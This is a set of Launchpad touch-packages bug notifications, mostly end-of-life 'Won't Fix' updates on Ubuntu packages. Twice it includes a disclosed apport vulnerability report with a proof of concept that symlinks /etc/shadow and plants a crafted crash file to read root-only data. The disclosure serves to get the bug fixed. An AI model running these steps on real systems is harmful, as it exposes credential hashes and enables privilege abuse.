  $ update-locale --locale-file /tmp/locale LANGUAGE

  The LANGUAGE setting is now commented out.

  [regression potential]
  Apart from the general concerns about a glibc rebuild, this is a simple 
change to a simple script. Performing the test as in the test case section is 
enough to ensure it still works.

  [original description]
  By passing wrong input as following:
   sudo update-locale LANGUAGE = en_US.UTF-8
  result is:
  ...
  #LANGUAGE=en
  =

  This "equal" sign that was added makes system completely
  unusable(can't run sudo anymore):

  bentzy@bentzy-nb:~$ sudo vim /etc/default/locale
  sudo: pam_open_session: Bad item passed to pam_*_item()
  sudo: policy plugin failed session initialization

  Fixed it booting from installation disk and fixing corrupted
  /etc/default/locale

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: locales 2.31-0ubuntu9
  Uname: Linux 5.5.4-050504-generic x86_64
  ApportVersion: 2.20.11-0ubuntu27.6
  Architecture: amd64
  CasperMD5CheckResult: skip
  CurrentDesktop: KDE
  Date: Tue Aug 25 09:36:03 2020
  InstallationDate: Installed on 2020-08-17 (7 days ago)
  InstallationMedia: Kubuntu 20.04 LTS "Focal Fossa" - Release amd64 (20200423)
  PackageArchitecture: all
  SourcePackage: glibc
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/glibc/+bug/1892825/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1917625] Re: OpenSSL TLS 1.1 handshake fails internal error

[Brian Murray]

Ubuntu 21.04 (Hirsute Hippo) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: openssl (Ubuntu Hirsute)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssl in Ubuntu.
https://bugs.launchpad.net/bugs/1917625

Title:
  OpenSSL TLS 1.1 handshake fails internal error

Status in openssl package in Ubuntu:
  Incomplete
Status in openssl source package in Hirsute:
  Won't Fix

Bug description:
  OpenSSL's SSL_do_handshake() method fails with
  TLSV1_ALERT_INTERNAL_ERROR when client side has TLS 1.0 to 1.2 enabled
  but server side has only TLS 1.0 and 1.1 enabled. The issue breaks
  Python's test suite for test_ssl. It looks like the problem is caused
  by an Ubuntu downstream patch. Vanilla OpenSSL, Debian, and Fedora are
  not affected.

  A simple reproducer is:

  import ssl
  import socket
  from test.test_ssl import testing_context, ThreadedEchoServer, HOST

  client_context, server_context, hostname = testing_context()
  # client 1.0 to 1.2, server 1.0 to 1.1
  client_context.minimum_version = ssl.TLSVersion.TLSv1
  client_context.maximum_version = ssl.TLSVersion.TLSv1_2
  server_context.minimum_version = ssl.TLSVersion.TLSv1
  server_context.maximum_version = ssl.TLSVersion.TLSv1_1

  with ThreadedEchoServer(context=server_context) as server:
  with client_context.wrap_socket(socket.socket(),
  server_hostname=hostname) as s:
  s.connect((HOST, server.port))
  assert s.version() == 'TLSv1.1'

  
  On Ubuntu 20.04 the code fails with:
  Traceback (most recent call last):
File "/internalerror.py", line 15, in 
  s.connect((HOST, server.port))
File "/usr/lib/python3.8/ssl.py", line 1342, in connect
  self._real_connect(addr, False)
File "/usr/lib/python3.8/ssl.py", line 1333, in _real_connect
  self.do_handshake()
File "/usr/lib/python3.8/ssl.py", line 1309, in do_handshake
  self._sslobj.do_handshake()
  ssl.SSLError: [SSL: TLSV1_ALERT_INTERNAL_ERROR] tlsv1 alert internal error 
(_ssl.c:1123)

  On Debian testing and Fedora 33 the same test passes with out:
   server:  new connection from ('127.0.0.1', 52346)
   server: connection cipher is now ('ECDHE-RSA-AES256-SHA', 'TLSv1.0', 256)
   server: selected protocol is now None

  You can find Dockerfiles with reproducers at
  https://github.com/tiran/distro-
  truststore/tree/main/tests/ubuntu-1899878

  Also see:
  * https://bugs.launchpad.net/ubuntu/+source/openssl/+bug/1899878
  * https://bugs.python.org/issue43382
  * https://bugs.python.org/issue41561

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openssl/+bug/1917625/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1917904] Re: Arbitrary file reads

[Brian Murray]

Ubuntu 21.04 (Hirsute Hippo) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: openjdk-lts (Ubuntu Hirsute)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1917904

Title:
  Arbitrary file reads

Status in Apport:
  Fix Released
Status in apport package in Ubuntu:
  Fix Released
Status in apport source package in Bionic:
  Fix Released
Status in openjdk-lts source package in Bionic:
  New
Status in apport source package in Focal:
  Fix Released
Status in openjdk-lts source package in Focal:
  New
Status in apport source package in Groovy:
  Fix Released
Status in openjdk-lts source package in Groovy:
  New
Status in apport source package in Hirsute:
  Fix Released
Status in openjdk-lts source package in Hirsute:
  Won't Fix
Status in apport source package in Impish:
  Fix Released
Status in openjdk-lts source package in Impish:
  Won't Fix

Bug description:
  # Vulnerabilities in Apport
  During a cursory code review, several potential security issues in `apport` 
and crash-related hooks in packages such as `Xorg` and `openjdk-14-lts` have 
been identified.

  While the issue regarding the `openjdk-14-lts` package is exploitable
  on default installations, the remaining issues most likely are mitigated by 
the sysctl setting `fs.protected_symlinks` on default Ubuntu installations.

  With regard to issues mitigated by `fs.protected_symlinks`, it is not
  clear if they are considered to be part of the threat model, but
  nonetheless will be included in this report. Further, if the issues
  regarding package hooks should be reported in the corresponding
  packages' bug tracker, please let me know.

  ## Issue 1: Arbitrary file read in package-hooks/source_openjdk-*.py
  The `add_info()` function allows for a directory traversal by building a file 
path using user-controlled data without properly sanitizing the resulting path.

  ```Python
  def add_info(report, ui=None):
  if report['ProblemType'] == 'Crash' and 'ProcCwd' in report:
  # attach hs_err_.pid file
  cwd = report['ProcCwd']
  pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])
  if pid_line:
  pid = pid_line.groups()[0]
  path = "%s/hs_err_pid%s.log" % (cwd, pid)
  # make sure if exists
  if os.path.exists(path):
  content = read_file(path)
  # truncate if bigger than 100 KB
  # see LP: #1696814
  max_length = 100*1024
  if sys.getsizeof(content) < max_length:
  report['HotspotError'] = content
  report['Tags'] += ' openjdk-hs-err'
  else:
  report['HotspotError'] = content[:max_length] + \
  "\n[truncated by openjdk-11 apport hook]" + \
  "\n[max log size is %s, file size was %s]" % \
  (si_units(max_length), 
si_units(sys.getsizeof(content)))
  report['Tags'] += ' openjdk-hs-err'
  ```

  By injecting a `ProcCwd` such as `/home/user/` and a `Pid` such as
  `0`, the function includes an arbitrary file by following a potential
  symbolic link `/home/user/hs_err_pid0.log`.

  ### PoC
  ```
  $ sudo apt install openjdk-14-jdk

  $ sudo sysctl fs.protected_symlinks
  fs.protected_symlinks = 1

  $ ln -s /etc/shadow /home/user/hs_err_pid0.log

  $ pid=$'\t0';cat << EOF > /var/crash/poc.crash
  ProblemType: Crash
  ExecutablePath: /poc
  Package: openjdk-lts 123
  SourcePackage: openjdk-lts
  ProcCwd: /home/user
  ProcStatus:
   Pid:$pid
   Uid:$pid
  EOF

  $ grep -A3 root: /var/crash/poc.crash
   root:!:18393:0:9:7:::
   daemon:*:18375:0:9:7:::
   bin:*:18375:0:9:7:::
   sys:*:18375:0:9:7:::
  ```

  ## Issue 2: Arbitrary file read in package-hooks/source_xorg.py (Info)
  The root cause of this issue stems from the fact, that a potentially
  user-controlled file in the `/tmp` directory is not checked for being a 
symbolic link and therefore might allow including arbitrary files in the 
processed crash report:

  Note: Requires `fs.protected_symlinks=0`

  ```Python
  def attach_3d_info(report, ui=None):
  ...

  # Compiz internal state if compiz crashed
  if True or report.get('SourcePackage','Unknown') == "compiz" and 
"ProcStatus" in report:
  compiz_pid = 0
  pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])
  if pid_line:
  compiz_pid = pid_line.groups()[0]
  compiz_state_file = '/tmp/compiz_internal_state%s' % compiz_pid
  attach_file_if_exists(report, compiz_state_file, 
"compiz_internal_states")
  ```

  ### PoC
  ```
  $ sudo sysctl fs.protected_symlinks=0
  fs.protected_symlinks = 0

  $ ln -s /etc/shadow 

[Touch-packages] [Bug 1919177] Re: Azure: issues with accelerated networking on Hirsute

[Brian Murray]

Ubuntu 21.04 (Hirsute Hippo) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: systemd (Ubuntu Hirsute)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1919177

Title:
  Azure: issues with accelerated networking on Hirsute

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Hirsute:
  Won't Fix

Bug description:
  [General]

  On Azure, when provisioning a Hirsute VM with Accelerated Networking
  enabled, sometimes part of the cloud-init configuration is not
  applied.

  Especially, in those cases, the public SSH key is not setup properly.

  [how to reproduce]

  Start a VM with AN enabled:

  ```
  az vm create --name "$VM_NAME --resource-group "$GROUP" --location "UK South" 
 --image 
'Canonical:0001-com-ubuntu-server-hirsute-daily:21_04-daily-gen2:latest' --size 
Standard_F8s_v2 --admin-username ubuntu --ssh-key-value "$SSH_KEY" 
--accelerated-networking
  ```

  After a moment, try to SSH: if you succeed, delete and recreate a new
  VM.

  [troubleshooting]

  To be able to connect into the VM, run:

  az vm run-command invoke -g "$GROUP" -n "$VM_NAME" --command-id 
RunShellScript --scripts "sudo -u ubuntu ssh-import-id $LP_USERNAME"
  ```

  In "/run/cloud-init/instance-data.json", I can see:
  ```
   "publicKeys": [
    {
     "keyData": "",
     "path": "/home/ubuntu/.ssh/authorized_keys"
    }
   ],
  ```

  as expected.

  [workaround]

  As mentioned, Azure allows the user to run command into the VM without
  SSH connection. To do so, one can use the Azure CLI:

  az vm run-command invoke -g "$GROUP" -n "$VM_NAME" --command-id
  RunShellScript --scripts "sudo -u ubuntu ssh-import-id $LP_USERNAME"

  This example uses "ssh-import-id" but it's also possible to just echo
  a given public key into /home/ubuntu/.ssh/authorized_keys

  NOTE: this will only solves the SSH issue, I do not know if this bug
  affects other things. If so the user would have to apply those things
  manually.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1919177/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1922681] Re: manpages are wrong about PATH inheriting from the environment now

[Brian Murray]

Ubuntu 21.04 (Hirsute Hippo) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: cron (Ubuntu Hirsute)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to cron in Ubuntu.
https://bugs.launchpad.net/bugs/1922681

Title:
  manpages are wrong about PATH inheriting from the environment now

Status in cron package in Ubuntu:
  New
Status in cron source package in Hirsute:
  Won't Fix

Bug description:
  I posted this on bug #1779767 but since that got closed it's probably
  going to be lost there.

  tl;dr the manpage(s) needs to be fixed for this change as well:

  Julian, thanks for the fix. In crontab(5) in cron 3.0pl1-136ubuntu2
  the manpage is now wrong. It says:

  > Several environment variables are set up automatically by the
  cron(8) daemon. […] PATH is set to "/usr/bin:/bin". HOME, SHELL, and
  PATH may be overridden by settings in the crontab […]

  and also

  > On the Debian GNU/Linux system, cron supports the pam_env module,
  and loads the environment specified by /etc/environment and
  /etc/security/pam_env.conf. It also reads locale information from
  /etc/default/locale. However, the PAM settings do NOT override the
  settings described above nor any settings in the crontab file itself.
  Note in particular that if you want a PATH other than
  "/usr/bin:/bin", you will need to set it in the crontab file.

  These should be fixed I think. There might be other spots that I
  didn't notice yet too.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/cron/+bug/1922681/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1923432] Re: apparmor-utils: missing CAP_CHECKPOINT_RESTORE in /etc/apparmor/severity.db

[Brian Murray]

Ubuntu 21.04 (Hirsute Hippo) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: apparmor (Ubuntu Hirsute)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1923432

Title:
  apparmor-utils: missing CAP_CHECKPOINT_RESTORE in
  /etc/apparmor/severity.db

Status in apparmor package in Ubuntu:
  Fix Released
Status in apparmor source package in Hirsute:
  Won't Fix

Bug description:
  It looks like /etc/apparmor/severity.db is missing the new capability
  CAP_CHECKPOINT_RESTORE.

  This causes the following regression test failure:

ERROR: capability CAP_CHECKPOINT_RESTORE not found in severity.db
make: *** [Makefile:81: check_severity_db] Error 1

  This new capability is correctly supported by the parser already (see
  d/p/ubuntu/parser-Add-support-for-cap-checkpoint-restore.patch), so we
  probably need to update severity.db as well.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/1923432/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1928931] Re: German strings in deja-dup.mo for en_GB

[Brian Murray]

Ubuntu 21.04 (Hirsute Hippo) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: language-pack-gnome-en (Ubuntu Hirsute)
   Status: Fix Committed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to language-pack-gnome-en in
Ubuntu.
https://bugs.launchpad.net/bugs/1928931

Title:
  German strings in deja-dup.mo for en_GB

Status in language-pack-gnome-en package in Ubuntu:
  In Progress
Status in language-pack-gnome-en source package in Hirsute:
  Won't Fix

Bug description:
  [ Description ]

  Some German strings were accidentally translated under en_GB. They
  affect the default Ubuntu install - some of them are strings which are
  displayed as a notification some time after first logging in, so it's
  quite visible. See the attached screenshot.

  [ Fix ]

  Revert the German and go back to the proper English text. The way to
  fix langpacks is to upload the language-pack-gnome-XX package which
  replaces files in language-pack-gnome-XX-base.

  [ Devel release ]

  I'd like to propose to binary copy forward, and let the normal
  langpack release schedule take care of eventually dominating these
  away in impish.

  [ QA ]

  To verify the diff, compare deja-dup.po from language-pack-gnome-en-
  base to the one in this upload. You'll have to do that manually.

    0. Be in en_GB.
    1. Install the SRU
    2. In an Ubuntu Desktop session, open a terminal and run `deja-dup 
--prompt`.
    3. Note the buttons in the notification that shows up. They should be in 
English.

  [ What could go wrong ]

  1. There could be other instances of this in different packages we haven't 
noticed yet
  2. If I break the .po file, it could either break the build or the 
translations at runtime (but this is English, so if we fall back to C it's not 
too bad)
  3. If my diff is wrong then I might have dropped some en_GB translations or 
made them wrong

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/language-pack-gnome-en/+bug/1928931/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1939616] Re: u-r-u should leave a breadcrumb indicating a dist-upgrade is in progress

[Brian Murray]

Ubuntu 21.10 (Impish Indri) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: ubuntu-release-upgrader (Ubuntu Impish)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1939616

Title:
  u-r-u should leave a breadcrumb indicating a dist-upgrade is in
  progress

Status in apport package in Ubuntu:
  New
Status in ubuntu-release-upgrader package in Ubuntu:
  New
Status in update-notifier package in Ubuntu:
  New
Status in apport source package in Impish:
  Won't Fix
Status in ubuntu-release-upgrader source package in Impish:
  Won't Fix
Status in update-notifier source package in Impish:
  Won't Fix

Bug description:
  Looking at the source code of ubuntu-release-upgrader it looks like an
  environment variable, RELEASE_UPGRADE_IN_PROGRESS, is set when an
  upgrade is being performed. However, it would be better if there was
  an indication that other programs, e.g. apport, could use to tell
  whether or not a release upgrade was in progress.

  This came up as we saw some crash reports in the error tracker that
  didn't make sense and a possible explanation is that a release upgrade
  was in progress.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1939616/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1939616] Re: u-r-u should leave a breadcrumb indicating a dist-upgrade is in progress

[Brian Murray]

Ubuntu 21.10 (Impish Indri) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: apport (Ubuntu Impish)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1939616

Title:
  u-r-u should leave a breadcrumb indicating a dist-upgrade is in
  progress

Status in apport package in Ubuntu:
  New
Status in ubuntu-release-upgrader package in Ubuntu:
  New
Status in update-notifier package in Ubuntu:
  New
Status in apport source package in Impish:
  Won't Fix
Status in ubuntu-release-upgrader source package in Impish:
  Won't Fix
Status in update-notifier source package in Impish:
  Won't Fix

Bug description:
  Looking at the source code of ubuntu-release-upgrader it looks like an
  environment variable, RELEASE_UPGRADE_IN_PROGRESS, is set when an
  upgrade is being performed. However, it would be better if there was
  an indication that other programs, e.g. apport, could use to tell
  whether or not a release upgrade was in progress.

  This came up as we saw some crash reports in the error tracker that
  didn't make sense and a possible explanation is that a release upgrade
  was in progress.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1939616/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1943441] Re: lxc: lxc-test-parse-config-file failure (expected value and retrieved value do not match)

[Brian Murray]

Ubuntu 21.10 (Impish Indri) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: lxc (Ubuntu Impish)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to lxc in Ubuntu.
https://bugs.launchpad.net/bugs/1943441

Title:
  lxc: lxc-test-parse-config-file failure (expected value and retrieved
  value do not match)

Status in ubuntu-kernel-tests:
  New
Status in lxc package in Ubuntu:
  Fix Released
Status in lxc source package in Focal:
  New
Status in lxc source package in Impish:
  Won't Fix

Bug description:
  I'm getting the following error with the lxc kernel autotest on
  impish:

  08:46:04 DEBUG| parse_config_file.c: 60: set_get_compare_clear_save_load: 
expected value "system_u:system_r:lxc_t:s0:c22" and retrieved value "" for 
config key "lxc.selinux.context" do not match
  08:46:04 DEBUG|
  08:46:04 DEBUG| parse_config_file.c: 382: main: lxc.selinux.context
  08:46:06 INFO | ERRORubuntu_lxc.lxc-test-parse-config-file
ubuntu_lxc.lxc-test-parse-config-filetimestamp=1631090766localtime=Sep 
08 08:46:06Command  failed, rc=1, Command returned non-zero exit status
* Command:
/tmp/lxc-pkg-ubuntu/src/tests/lxc-test-parse-config-file
Exit status: 1
Duration: 0.0550210475922

stderr:
parse_config_file.c: 60: set_get_compare_clear_save_load: expected value 
"system_u:system_r:lxc_t:s0:c22" and retrieved value "" for config key 
"lxc.selinux.context" do not match

parse_config_file.c: 382: main: lxc.selinux.context

  I haven't investigated very much, but it looks like a
  (mis)configuration change / issue. Does it ring any bell? Otherwise
  I'll investigate more.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu-kernel-tests/+bug/1943441/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1949970] Re: attempt to dlopen nonexistent pam_kwallet.so spams log

[Brian Murray]

Ubuntu 21.04 (Hirsute Hippo) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: lightdm (Ubuntu Hirsute)
   Status: Fix Committed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to lightdm in Ubuntu.
https://bugs.launchpad.net/bugs/1949970

Title:
  attempt to dlopen nonexistent pam_kwallet.so spams log

Status in lightdm package in Ubuntu:
  Fix Released
Status in lightdm source package in Bionic:
  Confirmed
Status in lightdm source package in Focal:
  Fix Released
Status in lightdm source package in Hirsute:
  Won't Fix
Status in lightdm source package in Impish:
  Fix Released
Status in lightdm source package in Jammy:
  Fix Released

Bug description:
  [impact]

  lightdm's pam.d config includes an attempt to dlopen pam_kwallet.so as
  well as pam_kwallet5.so, however pam_wallet.so comes from pam-kwallet
  which died around Trusty (https://launchpad.net/ubuntu/+source/pam-
  kwallet) while pam_kwallet5.so comes from kwallet-pam which provides
  only the newer '5' version, not the older unversioned library file.

  This results in repeated spam error messages in the system log
  complaining about failure to load pam_kwallet.so

  [test case]

  install/enable lightdm and check system log at boot for messages like:

  Nov 04 18:17:47 thrain lightdm[2510]: PAM unable to dlopen(pam_kwallet.so): 
/lib/security/pam_kwallet.so: cannot open shared object file: No such file or 
directory
  Nov 04 18:17:47 thrain lightdm[2510]: PAM adding faulty module: pam_kwallet.so

  [regression potential]

  any regression would likely cause problems during login and/or missing
  or extra log messages during pam authentication.

  [scope]

  this is needed in all releases

  [other info]

  https://github.com/canonical/lightdm/pull/216

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/lightdm/+bug/1949970/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1959047] Re: systemd ignores RootDirectory option in .service units

[Brian Murray]

Ubuntu 21.10 (Impish Indri) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: systemd (Ubuntu Impish)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1959047

Title:
  systemd ignores RootDirectory option in .service units

Status in lxd package in Ubuntu:
  Invalid
Status in systemd package in Ubuntu:
  Fix Released
Status in lxd source package in Bionic:
  Fix Released
Status in systemd source package in Bionic:
  Confirmed
Status in systemd source package in Focal:
  Confirmed
Status in systemd source package in Impish:
  Won't Fix

Bug description:
  [Impact]

  Ubuntu carries a patch on top of systemd [a] to silence
  namespace set up failures. This is meant as a workaround
  for a bug in the LXD version shipped in Ubuntu 18.04.

  Masking namespace set up failures creates a false sense of
  security for the user/admin.

  As mentioned in comment #1, systemd upstream explains that silencing
  this kind of error is dangerous and should be avoided.

  Backporting the LXD fix [b] to Ubuntu 18.04 would allow namespaces
  to work inside containers. This is the goal of this SRU.

  Ultimately, once LXD in Ubuntu 18.04 includes the fix [b], it would
  be possible to drop the Ubuntu-specific patch for systemd [a]. This
  is however *not an immediate concern for this SRU*.

  [Test Plan]

  1) Create a 18.04 VM:
  $ lxc launch images:ubuntu/18.04 lp1959047 --vm
  $ sleep 30  # give it time to boot

  1.5) Enable bionic-proposed:
  $ echo "deb http://archive.ubuntu.com/ubuntu bionic-proposed main restricted 
universe multiverse" | lxc file push - 
lp1959047/etc/apt/sources.list.d/proposed.list

  2) Install and initialize LXD in it:
  $ lxc exec lp1959047 -- apt-get update
  $ lxc exec lp1959047 -- apt-get install -y lxd
  $ lxc exec lp1959047 -- lxd init --auto

  3) Create a Jammy container and enable systemd debugging:
  $ lxc exec lp1959047 -- lxc init images:ubuntu/22.04 c1
  $ lxc exec lp1959047 -- lxc config set c1 raw.lxc 'lxc.init.cmd = /sbin/init 
systemd.log_level=debug'
  $ lxc exec lp1959047 -- lxc start c1

  4) Check if namespace set up failures are logged:
  $ lxc exec lp1959047 --  lxc exec c1 -- journalctl -b0 --grep 'Failed to set 
up namespace'
  Mar 24 23:29:19 c1 systemd[99]: systemd-udevd.service: Failed to set up 
namespace, assuming containerized execution, ignoring: Permission denied
  Mar 24 23:29:19 c1 systemd[132]: systemd-networkd.service: Failed to set up 
namespace, assuming containerized execution, ignoring: Permission denied
  Mar 24 23:29:19 c1 systemd[131]: systemd-logind.service: Failed to set up 
namespace, assuming containerized execution, ignoring: Permission denied
  Mar 24 23:29:20 c1 systemd[136]: systemd-resolved.service: Failed to set up 
namespace, assuming containerized execution, ignoring: Permission denied
  Mar 24 23:29:20 c1 systemd[128]: e2scrub_reap.service: Failed to set up 
namespace, assuming containerized execution, ignoring: Permission denied
  Mar 24 23:29:23 c1 systemd[243]: systemd-hostnamed.service: Failed to set up 
namespace, assuming containerized execution, ignoring: Permission denied

  If LXD in Ubuntu 18.04 has the patch, the "Failed to set up namespace"
  messages wouldn't be there.

  [Where problems could occur]

  The LXD fix changes the Apparmor profile used for containers. This essentially
  loosen the mount restrictions applied to containers.

  Weakening the Apparmor profile could make it easier for a process in the 
container
  to do damage that would have otherwise been blocked. On the other hand, this
  allows making use of namespaces/sandboxing inside the container.

  Upstream LXD has the fix since 2019 which make it less likely to run into
  problems with the backport.

  The backported fix was also tested manually to ensure LXD still behaved 
normally
  and that it avoided the namespace set up failures in Jammy containers.

  [a]: 
https://git.launchpad.net/ubuntu/+source/systemd/tree/debian/patches/debian/UBUNTU-Revert-namespace-be-more-careful-when-handling-namespacin.patch?h=ubuntu/jammy
  [b]: 
https://github.com/lxc/lxd/commit/a6b780703350faff8328f3d565f6bac7b6dcf59f

  [Initial bug description]

  The version of systemd (249.5-2ubuntu4) currently packaged for the
  Ubuntu development version (22.04 Jammy Jellyfish) totally ignores the
  RootDirectory= option in systemd service files. With RootDirectory,
  systemd should start the service after calling chroot() on the
  supplied directory.

  To test/reproduce, create a test service file with the following
  contents:

  # /etc/systemd/system/lsb-release.service
  [Unit]
  Description=LSB Release Information

  [Service]
  Type=simple
  RootDirectory=/var/chroot/trusty
  ExecStartPre=/bin/pwd
  ExecStart=/usr/bin/lsb_release -a

  You should have a chroot environment 

[Touch-packages] [Bug 1917904] Re: Arbitrary file reads

[Brian Murray]

Ubuntu 21.10 (Impish Indri) has reached end of life, so this bug will
not be fixed for that specific release.

** Changed in: openjdk-lts (Ubuntu Impish)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1917904

Title:
  Arbitrary file reads

Status in Apport:
  Fix Released
Status in apport package in Ubuntu:
  Fix Released
Status in apport source package in Bionic:
  Fix Released
Status in openjdk-lts source package in Bionic:
  New
Status in apport source package in Focal:
  Fix Released
Status in openjdk-lts source package in Focal:
  New
Status in apport source package in Groovy:
  Fix Released
Status in openjdk-lts source package in Groovy:
  New
Status in apport source package in Hirsute:
  Fix Released
Status in openjdk-lts source package in Hirsute:
  Won't Fix
Status in apport source package in Impish:
  Fix Released
Status in openjdk-lts source package in Impish:
  Won't Fix

Bug description:
  # Vulnerabilities in Apport
  During a cursory code review, several potential security issues in `apport` 
and crash-related hooks in packages such as `Xorg` and `openjdk-14-lts` have 
been identified.

  While the issue regarding the `openjdk-14-lts` package is exploitable
  on default installations, the remaining issues most likely are mitigated by 
the sysctl setting `fs.protected_symlinks` on default Ubuntu installations.

  With regard to issues mitigated by `fs.protected_symlinks`, it is not
  clear if they are considered to be part of the threat model, but
  nonetheless will be included in this report. Further, if the issues
  regarding package hooks should be reported in the corresponding
  packages' bug tracker, please let me know.

  ## Issue 1: Arbitrary file read in package-hooks/source_openjdk-*.py
  The `add_info()` function allows for a directory traversal by building a file 
path using user-controlled data without properly sanitizing the resulting path.

  ```Python
  def add_info(report, ui=None):
  if report['ProblemType'] == 'Crash' and 'ProcCwd' in report:
  # attach hs_err_.pid file
  cwd = report['ProcCwd']
  pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"])
  if pid_line:
  pid = pid_line.groups()[0]
  path = "%s/hs_err_pid%s.log" % (cwd, pid)
  # make sure if exists
  if os.path.exists(path):
  content = read_file(path)
  # truncate if bigger than 100 KB
  # see LP: #1696814
  max_length = 100*1024
  if sys.getsizeof(content) < max_length:
  report['HotspotError'] = content
  report['Tags'] += ' openjdk-hs-err'
  else:
  report['HotspotError'] = content[:max_length] + \
  "\n[truncated by openjdk-11 apport hook]" + \
  "\n[max log size is %s, file size was %s]" % \
  (si_units(max_length), 
si_units(sys.getsizeof(content)))
  report['Tags'] += ' openjdk-hs-err'
  ```

  By injecting a `ProcCwd` such as `/home/user/` and a `Pid` such as
  `0`, the function includes an arbitrary file by following a potential
  symbolic link `/home/user/hs_err_pid0.log`.

  ### PoC
  ```
  $ sudo apt install openjdk-14-jdk

  $ sudo sysctl fs.protected_symlinks
  fs.protected_symlinks = 1

  $ ln -s /etc/shadow /home/user/hs_err_pid0.log

  $ pid=$'\t0';cat << EOF > /var/crash/poc.crash
  ProblemType: Crash
  ExecutablePath: /poc
  Package: openjdk-lts 123
  SourcePackage: openjdk-lts
  ProcCwd: /home/user
  ProcStatus:
   Pid:$pid
   Uid:$pid
  EOF

  $ grep -A3 root: /var/crash/poc.crash
   root:!:18393:0:9:7:::
   daemon:*:18375:0:9:7:::
